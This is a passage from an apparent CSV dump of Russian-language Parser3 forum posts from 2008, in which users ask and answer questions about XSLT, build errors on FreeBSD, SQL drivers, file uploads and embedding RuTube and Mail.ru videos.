<xsl:copy-of select=\"document('parser://test/')/value\"/>\
</xsl:template>\
\
</xsl:stylesheet>\
[/code]\
\
\
выдает сообщение:\
file:///c:/PROGRA~1/APACHE~1/apache/cgi-bin/../etc/catalog:1: parser error : Start tag expected, '<' not found\
read failed: Invalid argument (22), actual filename '/c:/PROGRA~1/APACHE~1/apach\
\
наблюдения показали, что вызов метода test происходит, и параметр передается, а резултат до xslt не доходит\
\
тестировал и в 3.3.0, и в 3.2.3 (cgi win32) -- увы :(\
\
ЗЫ: поиск \"parser://\" по форуму, мягко говоря, нерелевантен"
"67625","Большая просьба ко всем кто знает.\
Как можно сжать и изменить формат фото."
"67629","Думаю, такая статистика была бы очень полезна для анализа.\
\
Пробовал делать так:\
до трансформации\
$v1[$status:rusage]\
после\
$v2[$status:rusage]\
И считал время: ($v2.utime - $v1.utime)*1000\
\
В большинстве ситуаций даёт результат - 0 ms.\
Максимальноо 15 ms.\
Эта трансформация действительно на столько быстрая?"
"67631","дистрибутивы всех предыдущих версий на месте. ищите ссылки поиском.\
также всё есть в cvs: можно достать нужную brahch, например release_3_0_8 или даже release_3_0_0002 (но я не уверен, что сможете собрать древность с поддержкой xml)."
"67633","Что-то не получается, дамп не создается.\
#!/bin/sh - это какой-то путь?"
"67635","Придеться многое переделывать"
"67637","Если выводить содержимое таблицы методом что-то типа\
[code]\
№ п\\п --- Стоимость --- Дата <br>\
^table.menu{\
$table.id --- $table.stoim  --- $table.date <br>\
}\
[/code]\
\
получаем нормальную вполне таблицу, только вот столбик ID в который вытягиваются ID строки - далек от номера по порядку.\
Если таблицу перебирать циклом - неизящный код какой то получается.\
\
Подскажите, куда поглядеть? Должно же быть какое то простое решение!"
"67638","id обычно не имеет ничего общего с номером по порядку.\
вам нужен \"номер строки таблицы\", вот его в документации и поищите."
"67640","http://www.parser.ru/docs/lang/tableline.htm"
"67641","лога нету. где он должен быть по дефаулту?\
где взять бинарник без soft_mode что б попробовать?"
"67644","[quote]Придеться многое переделывать[/quote]\
\
хм, зачем?"
"67645","[code]\
Building parser3...\
Making install in src\
gmake[1]: Entering directory `/home/beave/parser3project/parser/src'\
Making install in include\
gmake[2]: Entering directory `/home/beave/parser3project/parser/src/include'\
gmake[3]: Entering directory `/home/beave/parser3project/parser/src/include'\
gmake[3]: Nothing to be done for `install-exec-am'.\
gmake[3]: Nothing to be done for `install-data-am'.\
gmake[3]: Leaving directory `/home/beave/parser3project/parser/src/include'\
gmake[2]: Leaving directory `/home/beave/parser3project/parser/src/include'\
Making install in main\
gmake[2]: Entering directory `/home/beave/parser3project/parser/src/main'\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl -I/home/beave/parser3project/pcre/include  -I/home/beave/parser3project/gnome/include -I/home/beave/parser3project/gnome/include/libxml2    -g -O2 -MT pa_pool.o -MD -MP -MF \".deps/pa_pool.Tpo\" -c -o pa_pool.o pa_pool.C; \\\
	then mv -f \".deps/pa_pool.Tpo\" \".deps/pa_pool.Po\"; else rm -f \".deps/pa_pool.Tpo\"; exit 1; fi\
In file included from pa_pool.C:14:\
../../src/include/pa_charset.h:22:32: ../lib/pcre/config.h: No such file or directory\
In file included from ../../src/include/pa_charset.h:23,\
                 from pa_pool.C:14:\
/home/beave/parser3project/pcre/include/pcre_internal.h:336:2: #error LINK_SIZE must be either 2, 3, or 4\
gmake[2]: *** [pa_pool.o] Error 1\
gmake[2]: Leaving directory `/home/beave/parser3project/parser/src/main'\
gmake[1]: *** [install-recursive] Error 1\
gmake[1]: Leaving directory `/home/beave/parser3project/parser/src'\
gmake: *** [install-recursive] Error 1\
[/code]\
\
Архив с данного сайта, с раздела скачать.\
\
Может что-то собралось с ошибкой, к примеру PCRE забыл одил файлик. :-)\
\
Но у меня предположение, что нехватает чего-то в /home/beave/parser3project/parser/src/lib... Верно ли?"
"67647","из-за неё в дистрибутив при make dist не попадает содержимое lib/pcre.\
\
щас попробую пофиксить.\
\
\
P.S. сам никогда не пользовался исходниками из скачиваемого архива. если взять из cvs -- всё должно получиться."
"67648","[code]\
gmake: getcwd: Permission denied\
Making install in src\
gmake[1]: Entering directory `/home/beave/parser3project/parser3/src'\
Making install in include\
gmake[2]: Entering directory `/home/beave/parser3project/parser3/src/include'\
cd ../.. && /bin/sh /home/beave/parser3project/parser3/missing --run autoheader\
configure.in:562: warning: AC_DEFINE: not an identifier: AS_TR_CPP \
../../lib/m4sugar/m4sh.m4:508: AS_IF is expanded from...\
../../lib/autoconf/general.m4:2461: AC_COMPILE_IFELSE is expanded from...\
../../lib/autoconf/general.m4:2469: AC_TRY_COMPILE is expanded from...\
acsite.m4:4: PA_CHECK_MATH_FUNC_ONE_ARG is expanded from...\
acsite.m4:21: PA_CHECK_MATH_FUNCS_ONE_ARG is expanded from...\
configure.in:562: the top level\
autoheader-2.62: warning: missing template: AS_TR_CPP\
autoheader-2.62: Use AC_DEFINE([AS_TR_CPP], [], [Description])\
autoheader-2.62: warning: missing template: AS_TR_CPP \
gmake[2]: *** [pa_config_auto.h.in] Error 1\
gmake[2]: Leaving directory `/home/beave/parser3project/parser3/src/include'\
gmake[1]: *** [install-recursive] Error 1\
gmake[1]: Leaving directory `/home/beave/parser3project/parser3/src'\
gmake: *** [install-recursive] Error 1\
[/code]\
\
OS:\
[code]\
FreeBSD usetrans.com 6.3-STABLE FreeBSD 6.3-STABLE #3: Mon Aug  4 10:07:04 CEST 2008     root@dione.ispsystem.net:/root/src/sys/i386/compile/ISPSYSTEM_PAE  i386\
[/code]\
\
Проблема с правами?"
"67650","Очень радуют изменения :)\
\
Глядишь, так скоро и 64-битная версия появится :)"
"67652","Подскажите пожалуйста пример загрузки файлов на http сервер через форму."
"67654","вопрос: что делать если программа вызванная exec зависает?"
"67655","а то некогда с админами дискутировать, а работать они чего-то не настроены."
"67656","Какая программа? в каком случае? какая операционка? с чего решили что зависает?"
"67657","собственно интересует принципиальная возможность определить зависание, при превышении какого-либо таймаута...\
\
конкретно имеется sh скрипт, внутри которого вызывается ffmpeg для конвертации ролика 3gp -> flv\
\
вручную конвертируется нормально, а при запуске парсерного скрипта в процессах висит ffmpeg неограниченно долго (торчал там больше суток, пока его не нашли и не убили...)\
\
Parser/3.2.3b (compiled on i386-unknown-freebsd6.2)"
"67658","в *nix я не знаток, с подобными ошибками не встречался, на наших системах с freebsd (4.11, 6.3 и 7) такого не встречал.\
\
попробуйте HEAD версию, вдруг я некорректно branch сделал? (btw: сегодня я внёс правки в эту branch, чтобы корректно собирался dist, однако на собираемость на наших *nix системах это никак не влияло)\
\
\
и, если установлено необходимое, попробуете сделать autoheader, aclocal, autoconf и automake перед сборкой..."
"67659","Честно говоря, даже не знаю как это искать в форуме.\
\
Вобщем, если есть текстовый файл:\
\
_______________________\
\
[b]Угол тангажа, в первом приближении, абсолютно преобразует центр сил в соответствии с системой уравнений. Устойчивость участвует в погрешности определения курса меньше, чем момент силы трения, от чего сильно зависит величина систематического ухода гироскопа. [/b]\
\
Основание, согласно уравнениям Лагранжа, связывает подшипник подвижного объекта, что видно из уравнения кинетической энергии ротора. Максимальное отклонение отличительно проецирует астатический установившийся режим, при котором центр масс стабилизируемого тела занимает верхнее положение. Ньютонометр не входит своими составляющими, что очевидно, в силы нормальных реакций связей, так же как и нутация, что является очевидным. \
\
[b]Гироскоп участвует в погрешности определения курса меньше, чем прецизионный объект, что обусловлено малыми углами карданового подвеса.[/b]\
_______________________\
\
\
Пусть такой, есть переводы строк. Как его вывести, пропустив заданное кол-во переводов? Вроде нет в доке же."
"67661","Ну, я просто подумал, что если файл будет из 1000 и много больше строк, разумно ли?\
\
Собсно, я так и сделал ))\
\
[i]Кстати, спасибо за 3.3.[/i]"
"67662","Появились некторые вещи, которых нехватало и из-за которых пришлось городить огород. Я и так уже немного \"отстал\" по версии..."
"67663","Подскажите, пожалуйста, новичку. Как передать данные с сайта на удаленный сервер POST запросом, без использования формы?"
"67665","[code]\
@main[]\
$d1[^xdoc::create{<load url=\"http://msdn.microsoft.com/en-us/library/cc632632(n).aspx\"/>}]\
$d2[^d1.transform[test.xsl]]\
^d2.string[]\
\
<!-- test.xsl -->\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
\
<xsl:template match=\"load\">\
<xsl:copy-of select=\"document(@url)\"/>\
</xsl:template>\
\
</xsl:stylesheet>\
[/code]"
"67666","в ближайшем будущем его не предвидется, так что если это актуально -- ищите версию, в которой это работало (предлагаю начать с анализа спецификации, а потом с парсера версии 321sp, т.к. после этой версии я обновлял библиотеки libxml/libxslt и менял подключаемые модули в них)"
"67667","На странице документации [url=\"http://www.parser.ru/docs/lang/cookierec.htm\"]Cookies -> Запись[/url] невалидная ссылка на информацию о httponly cookies.\
\
Было:\
http://msdn.microsoft.com/workshop/author/dhtml/httponly_cookies.asp\
\
([url=\"http://web.archive.org/web/20070114152032/http://msdn.microsoft.com/workshop/author/dhtml/httponly_cookies.asp\"]Страница в web.archive[/url])\
\
Стало:\
http://msdn.microsoft.com/en-us/library/ms533046.aspx\
\
Спасибо."
"67668","[code]\
[beave@usetrans ~/parser3project/parser3]$ autoheader\
configure.in:562: warning: AC_DEFINE: not an identifier: AS_TR_CPP \
../../lib/m4sugar/m4sh.m4:508: AS_IF is expanded from...\
../../lib/autoconf/general.m4:2461: AC_COMPILE_IFELSE is expanded from...\
../../lib/autoconf/general.m4:2469: AC_TRY_COMPILE is expanded from...\
acsite.m4:4: PA_CHECK_MATH_FUNC_ONE_ARG is expanded from...\
acsite.m4:21: PA_CHECK_MATH_FUNCS_ONE_ARG is expanded from...\
configure.in:562: the top level\
autoheader-2.62: warning: missing template: AS_TR_CPP\
autoheader-2.62: Use AC_DEFINE([AS_TR_CPP], [], [Description])\
autoheader-2.62: warning: missing template: AS_TR_CPP \
[beave@usetrans ~/parser3project/parser3]$ aclocal\
acinclude.m4:34: the serial number must appear before any macro definition\
acinclude.m4:3713: the serial number must appear before any macro definition\
configure.in:562: warning: AC_DEFINE: not an identifier: AS_TR_CPP \
../../lib/m4sugar/m4sh.m4:508: AS_IF is expanded from...\
../../lib/autoconf/general.m4:2461: AC_COMPILE_IFELSE is expanded from...\
../../lib/autoconf/general.m4:2469: AC_TRY_COMPILE is expanded from...\
acsite.m4:4: PA_CHECK_MATH_FUNC_ONE_ARG is expanded from...\
acsite.m4:21: PA_CHECK_MATH_FUNCS_ONE_ARG is expanded from...\
configure.in:562: the top level\
[beave@usetrans ~/parser3project/parser3]$ autoconf\
configure.in:562: warning: AC_DEFINE: not an identifier: AS_TR_CPP \
../../lib/m4sugar/m4sh.m4:508: AS_IF is expanded from...\
../../lib/autoconf/general.m4:2461: AC_COMPILE_IFELSE is expanded from...\
../../lib/autoconf/general.m4:2469: AC_TRY_COMPILE is expanded from...\
acsite.m4:4: PA_CHECK_MATH_FUNC_ONE_ARG is expanded from...\
acsite.m4:21: PA_CHECK_MATH_FUNCS_ONE_ARG is expanded from...\
configure.in:562: the top level\
[beave@usetrans ~/parser3project/parser3]$ automake\
configure.in:562: warning: AC_DEFINE: not an identifier: AS_TR_CPP \
../../lib/m4sugar/m4sh.m4:508: AS_IF is expanded from...\
../../lib/autoconf/general.m4:2461: AC_COMPILE_IFELSE is expanded from...\
../../lib/autoconf/general.m4:2469: AC_TRY_COMPILE is expanded from...\
acsite.m4:4: PA_CHECK_MATH_FUNC_ONE_ARG is expanded from...\
acsite.m4:21: PA_CHECK_MATH_FUNCS_ONE_ARG is expanded from...\
configure.in:562: the top level\
src/targets/apache13core/Makefile.am:2: `:='-style assignments are not portable\
[/code]\
\
Видимо пока не судьба собрать у себя на VPS.\
Позже поставлю FreeBSD 7, попробую на нем собрать."
"67669","я думаю это какой-то единичный случай. \
Вы пробовали повторять операцию, так же виснет?\
\
Если да то можно написать еще один sh скрипт который будет убивать процесс, но это не решит вашей прямой задачи :)"
"67671","Base.p:\
[code]@CLASS\
Base\
\
@auto[]\
$FIELD[BaseField][/code]\
\
Child.p:\
[code]\
@CLASS\
Child\
\
@USE\
Base.p\
\
@BASE\
Base\
\
@auto[]\
$FIELD[ChildField]\
[/code]\
\
BASE.html:\
[code]\
^use[Base.p]\
$Base:FIELD -> BaseField\
[/code]\
\
BASE_AND_CHILD.html:\
[code]\
^use[Base.p]\
^use[Child.p]\
$Base:FIELD -> ChildField\
[/code]"
"67672","... и новое значение поля будет именно в нем, а не в Base."
"67673","Вот то что было в конце после ./buildall-with-xml\
\
In file included from libxslt_wrap.h:1,\
                 from libxslt.c:20:\
libxml_wrap.h:84: error: syntax error before 'regexp'\
make[2]: *** [libxslt.lo] Error 1\
make[1]: *** [install-recursive] Error 1\
make: *** [install-recursive] Error 1\
Building parser3...\
Making install in src\
Making install in include\
make[3]: Nothing to be done for `install-exec-am'.\
make[3]: Nothing to be done for `install-data-am'.\
Making install in main\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl   -I/Users/Andre/parser3project/gnome//include -I/Users/Andre/parser3project/gnome//include/libxml2    -g -O2 -MT pa_pool.o -MD -MP -MF \".deps/pa_pool.Tpo\" -c -o pa_pool.o pa_pool.C; \\\
	then mv -f \".deps/pa_pool.Tpo\" \".deps/pa_pool.Po\"; else rm -f \".deps/pa_pool.Tpo\"; exit 1; fi\
In file included from pa_pool.C:14:\
../../src/include/pa_charset.h:20:18: error: pcre.h: No such file or directory\
../../src/include/pa_charset.h:23:27: error: pcre_internal.h: No such file or directory\
../../src/include/pa_charset.h:96: error: ‘tables_length’ was not declared in this scope\
make[2]: *** [pa_pool.o] Error 1\
make[1]: *** [install-recursive] Error 1\
make: *** [install-recursive] Error 1\
DONE"
"67674","Оно у вас пытается пересобрать Configure из Configure.in, а похоже \"гранаты не той системы\". Можно попробовать после checkout сказать \"touch Configure\".\
\
2misha: наверное это можно сделать прямо в архиве?\
Кажется когда-то давно было подобное, но по-моему перестало, после того, как мы стали в определенном порядке коммитить кажется..."
"67675","Сразу видно, что у вас Windows - стандартная точность таймера. Кстати кажется можно подкрутить через реестр.\
\
Помимо варианта Миши:\
- можно прогнать трансформацию с десяток раз\
- анализировать частоту выпадения 0 и 15 - и по их соотношению рассчитать реальное время. :)"
"67676","Да, спасибо Misha v.3.\
Я пробовал 2 варианта.\
(^a.tv_sec.double[]-^b.tv_sec.double[])*1000+(^a.tv_usec.double[]-^b.tv_usec.double[])/1000\
и\
Erusage\
Стандартное время получилось около 20ms. При этом,я совместил оба варианта и получаю разницу между ними 8-10 ms. Думаю, это уходит на работу класса Erusage.\
-------------------\
Да, проверял на винде. Шаг получился, по видимому, 15ms. Потом перекинул на сервак (VPS freeBSD) и показатели стали точными (видно что шаг стал 1ms).\
Радует ещё и то, что на серваке работает быстрее чем на Денвере на локальном компе. :))) И вообще сайт работает в 5 раз быстрее. :)))"
"67677","Мне кажется, он в принципе не должен о них ничего знать. И если я напрямую прошу поле базового класса - $Base:FIELD - я ожидаю именно то значение, которое определено в классе Base."
"67678","... все тоже самое..."
"67681","http://www.parser.ru/docs/lang/defineclass.htm\
[quote]\
Работа с переменными в статических методах\
Поиск значения переменной происходит в:\
*	в списке локальных переменных;  \
*	в текущем классе или его родителях.  \
\
[b]Запись значения переменной производится в уже имеющуюся переменную (см. область поиска выше), если таковая имеется.[/b] В противном случае создается новая переменная (поле) в текущем классе. \
[/quote]\
\
Иными словами - это фича статических переменных (если Миша не решит, что это баг :) ). Так что если хотите \"обычное\" поведение, то пользуйтесь динамическими полями (что вполне логично)."
"67683","На мой взгляд лучше использовать tinymce и прикрутить легче и обновлять проще и есть возможность вставлять ссылки и картинки выбором из списка. А загрузку картинок можно и самостоятельно делать"
"67685","Это хорошая фича!!!\
Я только ей и спасаюсь в некоторых ситуациях..."
"67686","Проблема ! Хост сменил ОС с FC4 64bit на FC8 64bit\
в резудьтате не смог найти несколько драйверов. драйвера нашел пути все восстановилиь.\
тестовый файл показывает что все на месте.\
\
но работа mysql нарушена, выдает такую ошибку что делать ?\
\
Работа с SQL\
\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Возможно не положены куда надо драйвера. \
Сообщение об ошибке:\
\
driver implements API version 0x0009 not equal to 0x000A \
$sqldriversdir/libparser3mysql.so\
\
\
для справки. вот пути к файлам из тестового файла.\
\
[code]protocol	parser driver	sql client library\
mysql	$sqldriversdir/libparser3mysql.so (относительный путь. проверка невозможна)	/usr/lib/libmysqlclient.so.15 (1452922 байт)\
[/code]\
\
\
а вот пути и куска конфигурационного auto.p\
\
[code]@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
	$.koi8-r[$charsetsdir/koi8-r.cfg]\
#	$.windows-1250[$charsetsdir/windows-1250.cfg]\
	$.windows-1251[$charsetsdir/windows-1251.cfg]\
#	$.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	/usr/lib/libmysqlclient.so.15\
#pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
#oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
[/code]"
"67687","версия парсера и драйвера различаются"
"67688","брал последении версии все с того сайта !\
где взять еще более свежые ?"
"67690","Версии SQL библиотек к парсеру 3.3.0 начинаются на parser3sql_10\
Где-то их нет?"
"67691","Сабж.\
\
Должно поддерживаться преобразование международных доменов из строки (\"вася.ру\") в ее dns-представление (xn--...) и обратно.\
\
Оплата WMR или наличными в Москве."
"67693","Сори, не там смотрел.. оказалось надо было глаз на 5 см выше поднять. щас все работает ))"
"67694","Нужны специалисты по разработке серверной части комплексных интернет-проектов.\
\
Нужно:\
\
    * уметь программировать, как минимум, на одном серверном языке (будет здорово, если работали на Питоне);\
    * знать какой-либо диалект SQL (MySQL, PostgreSQL) и иметь представление о проектировании баз данных;\
    * понимать принципы построения больших систем, работающих круглосуточно и с высокой нагрузкой (замечательно, если слова «кеширование» и «шардинг» вам хорошо знакомы);\
    * уметь разбираться в чужом коде;\
    * уметь самостоятельно находить решение задач, с которыми ранее не приходилось сталкиваться;\
\
Желательно:\
\
    * понимать принципы ОО-проектирования распределенных веб-ориентированных систем;\
    * иметь представление о работе веб-серверов (минимум об одном из списка: Apache, Nginx, Lighttpd) и устройстве протоколов;\
    * иметь навыки работы с unix-like системами;\
    * свободно читать техническую документацию на английском языке;\
    * стремиться делать интерфейсы (в том числе и програмные) для людей, а не для машин.\
\
Для связи: Волчков Олег\
Телефон:	8-905-737-54-75\
E-mail: oleg@nazavod.ru\
\
---------\
\
Большая часть разработки у нас идет на Питоне, но мы готовы взять разработчиков, которые разбираются в технологии и готовы изучить новый язык. :)"
"67695","Интересует не банальные вставки, а полный функционал.\
\
У кого что получилось? Поделитесь опытом."
"67696","причем как с помощью готовых утилит так и самостоятельных конвертов на разных языках."
"67697","Если это упомянутый пример :\
Пример \
[code] ^if(def $form:picture){ \
    <p>Загружены изображения (^form:files.picture._count[]): \
    ^form:files.picture.foreach[sNum;fValue]{ \
       $fValue.name \
       ^fValue.save[binary;/upload/pictures/${sNum}.^file:justext[$fValue.name]] \
    }[,] \
    </p> \
 } \
 <form method=\"post\" enctype=\"multipart/form-data\"> \
    <p>Выберите несколько изображений для загрузки:<br /> \
    <input type=\"file\" name=\"picture\" /><br /> \
    <input type=\"file\" name=\"picture\" /><br /> \
    <input type=\"file\" name=\"picture\" /><br /> \
    <input type=\"submit\" value=\"Загрузить\" /> \
    </p> \
 </form> \
[/code]  \
\
Он выдает такую ошибку :\
[Tue Sep  9 16:11:03 2008] [7295] /demo.html: /var/www/html/demo.html(1:10): syntax error, unexpected '$', expecting ';' or ')' [parser.compile] [uri=/demo.html, method=GET, cl=0]"
"67698","Пример\
[code]$men[^table::create{name   age\
Serge   26\
Alex   20\
Mishka   29\
}]\
\
$thoseAbove20[^men.select($men.age>20)]\
$sFirstName[$thoseAbove20.name][/code]\
Хотелось бы получить значение поля name первой(единственной) записи не используя временную таблицу $thoseAbove20. Как-нибудь примерно так:\
[code]\
$sFirstName[[^men.select($men.age>20)].name][/code]\
\
Или ничего тут не поделаешь, и надо писать 2 строчки?"
"67701","Нужен работающий код на Парсере."
"67702","[i]year '1954' is out of valid range[/i]\
код:\
[code]$result[^date::create(1954;1;1)][/code]\
\
Подозреваю, что ноги растут от юниксового формата даты/времени. Но позвольте, зачем к нему привязываться?"
"67703","Есть необходимость заливки на сервер csv-файла через форму и импорт в mysql-базу.\
Проблемы 2:\
Во-первых, не получается без сохранения обработать таблицу. Передается файл через форму, потом пытаюсь через [code]$tbl[^table::create{$form:filename.text}[$.separator[^;]]][/code] создать таблицу, но следующий сразу за этим [code]^if(def $tbl)[/code] показывает, что таблица пуста.\
CSV-файл создается с помощью 1С и имеет стандартную структуру: столбцы отделяются точкой с запятой, строки - символом переноса строки.\
Вторая проблема уже когда подгружается файл при помощи [code]^table::load[][/code], и получается, будто названия столбцов нормально считались, а сами данные - нет.\
Вот код вывода таблицы:\
[code]@PrintTable[the_table]\
	<table border=1><tr>\
	$cols[^the_table.columns[]]\
	^cols.menu{\
		<td>$cols.column</td>\
	}\
	</tr>\
\
	^the_table.menu{\
		<tr>\
		^cols.menu{\
			<td>$table.[$cols.column]</td>\
		}\
		</tr>\
	}\
	</table>[/code]\
Вся проблема в том, что имена столбцов изначально неизвестны, но это уже проблема решается непосредственно на месте, а тут вот никак не могу понять, в чем же дело."
"67708","Работа-то где? Или удалено?"
"67710","[code]$tbl[^table::create{^taint[as-is][$form:filename.text]}[$.separator[^;]]][/code]\
\
с остальным думаю разберётесь"
"67711","1. из каких языков в какие?\
2. самостоятельный скрипт или оболочка, использующая стороннюю программу?\
3. сроки?\
4. преобразование в одну сторону или в обе?"
"67712","Нормально работает Парсер. Обычно захожу на сайт, никаких проблем.\
Но стал замечать при просмотре лога ошибки:\
[code]\
[Wed Sep 10 10:08:01 2008] [error] [client 91.188.162.91] suexec policy violation: see suexec log for more details, referer: http://www.usetrans.com/services/manufacture/\
[Wed Sep 10 10:08:01 2008] [error] [client 91.188.162.91] Premature end of script headers: parser.cgi, referer: http://www.usetrans.com/services/manufacture/\
[/code]\
\
Разумеется и взглянул в suexec_log:\
[code]\
[2008-09-10 10:07:59]: uid: (1000/beave) gid: (1002/beave) cmd: parser.cgi\
[2008-09-10 10:08:00]: uid: (1000/beave) gid: (1002/beave) cmd: parser.cgi\
[b][2008-09-10 10:08:01]: uid: (1000/beave) gid: (1002/beave) cmd: parser.cgi\
[2008-09-10 10:08:01]: cannot get current working directory[/b]\
[2008-09-10 10:08:01]: uid: (1000/beave) gid: (1002/beave) cmd: parser.cgi\
[2008-09-10 10:52:56]: uid: (1000/beave) gid: (1002/beave) cmd: parser.cgi\
[2008-09-10 10:52:59]: uid: (1000/beave) gid: (1002/beave) cmd: parser.cgi\
[/code]\
\
Может не хватает каких-то прав? Я сужу по тексту ошибки.\
Но странно, что такое бывает редко. Лично я сам не смог вызвать подобную ошибку. Либо может хостинг что-то иногда подкручивает, при этом не предупредив пользователя (правда мне это тоже кажется мало правдоподобным)?\
\
[b]Parser:[/b]\
[code]Parser/3.3.0 (compiled on i386-unknown-freebsd6.3)[/code]\
\
[b]ОС:[/b]\
[code]FreeBSD usetrans.com 6.3-STABLE FreeBSD 6.3-STABLE #3: Mon Aug  4 10:07:04 CEST 2008     root@dione.ispsystem.net:/root/src/sys/i386/compile/ISPSYSTEM_PAE  i386[/code]\
\
[b]Сервер:[/b]\
[code]\
Server version: Apache/2.2.9 (FreeBSD)\
Server built:   Jul  1 2008 06:50:56\
Server's Module Magic Number: 20051115:15\
Server loaded:  APR 1.3.0, APR-Util 1.3.0\
Compiled using: APR 1.3.0, APR-Util 1.3.0\
Architecture:   32-bit\
Server MPM:     Prefork\
  threaded:     no\
    forked:     yes (variable process count)\
Server compiled with....\
 -D APACHE_MPM_DIR=\"server/mpm/prefork\"\
 -D APR_HAS_SENDFILE\
 -D APR_HAS_MMAP\
 -D APR_USE_FLOCK_SERIALIZE\
 -D APR_USE_PTHREAD_SERIALIZE\
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT\
 -D APR_HAS_OTHER_CHILD\
 -D AP_HAVE_RELIABLE_PIPED_LOGS\
 -D DYNAMIC_MODULE_LIMIT=128\
 -D HTTPD_ROOT=\"/usr/local\"\
 -D SUEXEC_BIN=\"/usr/local/sbin/suexec\"\
 -D DEFAULT_PIDLOG=\"/var/run/httpd.pid\"\
 -D DEFAULT_SCOREBOARD=\"/var/run/apache_runtime_status\"\
 -D DEFAULT_LOCKFILE=\"/var/run/accept.lock\"\
 -D DEFAULT_ERRORLOG=\"/var/log/httpd-error.log\"\
 -D AP_TYPES_CONFIG_FILE=\"etc/apache22/mime.types\"\
 -D SERVER_CONFIG_FILE=\"etc/apache22/httpd.conf\"\
[/code]"
"67713","При чем тут парсер, если это лог suexec? Ошибка возникает еще до того, как хотя-бы stat на парсер делается.\
\
suexec.c\
[code]\
    /*\
     * Get the current working directory, as well as the proper\
     * document root (dependant upon whether or not it is a\
     * ~userdir request).  Error out if we cannot get either one,\
     * or if the current working directory is not in the docroot.\
     * Use chdir()s and getcwd()s to avoid problems with symlinked\
     * directories.  Yuck.\
     */\
    if (getcwd(cwd, AP_MAXPATH) == NULL) {\
        log_err(\"emerg: cannot get current working directory\\n\");\
        exit(111);\
    }\
[/code]"
"67714","1. Все языки кодируются одинаково, нужна поддержка всех.\
2. В принципе можно и оболочку, но она не должна требовать установки в системе экзотических локалей для своей работы.\
3. Чем быстрее тем лучше :-) Я думал, что где-то неделя.\
4. Нужно в обе. Можно только в одну, но тогда за полцены."
"67715","При замене парсера и библиотек под windows с 3.2.1 на 3.2.2 или 3.3 все кириллические данные из mysql отображаются вопросительными знаками. \
Аналогично - при обновлении конфигурационного файла и кодировок.\
Что править?"
"67717","Очень понравилось то, что теперь моя система аля имеет возможность размещать видеофайлы на сайтах)\
Скоро и Ютюбе подключу.\
\
А вот по поводу поделиться... могу разве что привести коды. Модуль там сделан для моей системы. \
В кодах будет интересно посмотреть как я сделал выдирание превьюшек из рутуба и мэйлру.\
Остальное довольно тривиально делается."
"67720","По мне это основное на что люди смотрят."
"67723","Вот методы, которые на выходе дают хеш с тремя путями. \
\
[code]@getPreviewSrcRUTUBE[][rutubeid;src]\
$rutubeid[^getRUTUBEid[]]\
$src[http://img.rutube.ru/thumbs]\
$src[$src/^rutubeid.left(2)]\
$src[$src/^rutubeid.mid(2;2)]\
$src[$src/$rutubeid]\
$result[\
	$.1[${src}-1.jpg]\
	$.2[${src}-2.jpg]\
	$.3[${src}-3.jpg]\
][/code]\
\
[code]@getPreviewSrcMAILRU[][slink;src]\
$slink[^self.link.split[/;lh]]\
#$src[http://img.video.mail.ru/images]\
$src[http://video.mail.ru]\
#$src[$src/$slink.3=$slink.4=$slink.5=p-^file:justname[$slink.6].jpg]\
$src[$src/$slink.3/$slink.4/$slink.5/p-^file:justname[$slink.6].jpg]\
$result[\
	$.1[$src]\
	$.2[$src]\
	$.3[$src]\
][/code]\
\
Соответственно для превью трех размеров. Правда для мэйл ру там только одна превью. Остальные не знаю как вытащить.\
\
Ну, а по этим путям легко скачать сами файлы:\
\
[code]@loadAndSavePreviewFile[id;src]\
^try{\
	$value[^file::load[binary;$src;$.timeout($self.videoalbum.timeout)]]\
	$filename[$self.homedir/va${self.videoalbum.id}.v${self.id}.preview${id}.jpg]\
	^value.save[binary][$filename]\
}{\
	^if(!^exception.type.pos[http]){\
		$exception.handled(true)\
		^throw[sf.vas;$src][\
			...\
		]\
	}\
}[/code]\
\
Таймаут я ставлю обычно 4 сек. Меньше не работает.\
\
Путь к плееру для МайлРу генерируется так:\
\
[code]@getPlayerSrcMAILRU[]\
$slink[^self.link.split[/;lh]]\
$result[http://img.mail.ru/r/video2/player_v2.swf?par=http://content.video.mail.ru]\
$result[$result/$slink.3]\
$result[$result/$slink.4]\
$result[$result/$slink.5]\
$result[$result/^$^file:justname[$slink.6]^$0^$242]\
$result[${result}&page=2&imaginehost=video.mail.ru&perlhost=video.mail.ru]\
$result[${result}&alias=$slink.3]\
$result[${result}&username=$slink.4]\
$result[${result}&albumid=$slink.5]\
$result[${result}&id=^file:justname[$slink.6]]\
$result[${result}&catalogurl=http://video.mail.ru/catalog/clips/][/code]\
\
Здесь $self.link путь к странице с флешкой, который выдает сам Рутубе.\
\
И для Рутуба:\
\
[code]@getPlayerSrc[]\
^switch[$self.type]{\
	^case[rutube]{$result[http://video.rutube.ru/^getRUTUBEid[]]}\
	^case[youtube]{}\
	^case[mailru]{$result[^getPlayerSrcMAILRU[]]}\
}[/code]\
\
[code]@getRUTUBEid[]\
$result[^self.link.split[=;lh]]\
$result[$result.1][/code]\
\
Ну, а сам код OBJECT легко генерируется и без моих подсказок.\
\
То есть от майла или рутуба берется лишь путь к странице. А по ней вычисляется пути к плееру и к превьюшкам. Вот такая технология."
"67724","сделать вот что: в систему управления сайтами забиваешь логин и пароль к рутубу. А потом, система сама выдает список альбомов и видео и предлагает их использовать на сайте. Кто это сделал?"
"67725","Доброго. Из базы дергается строка вида \
\
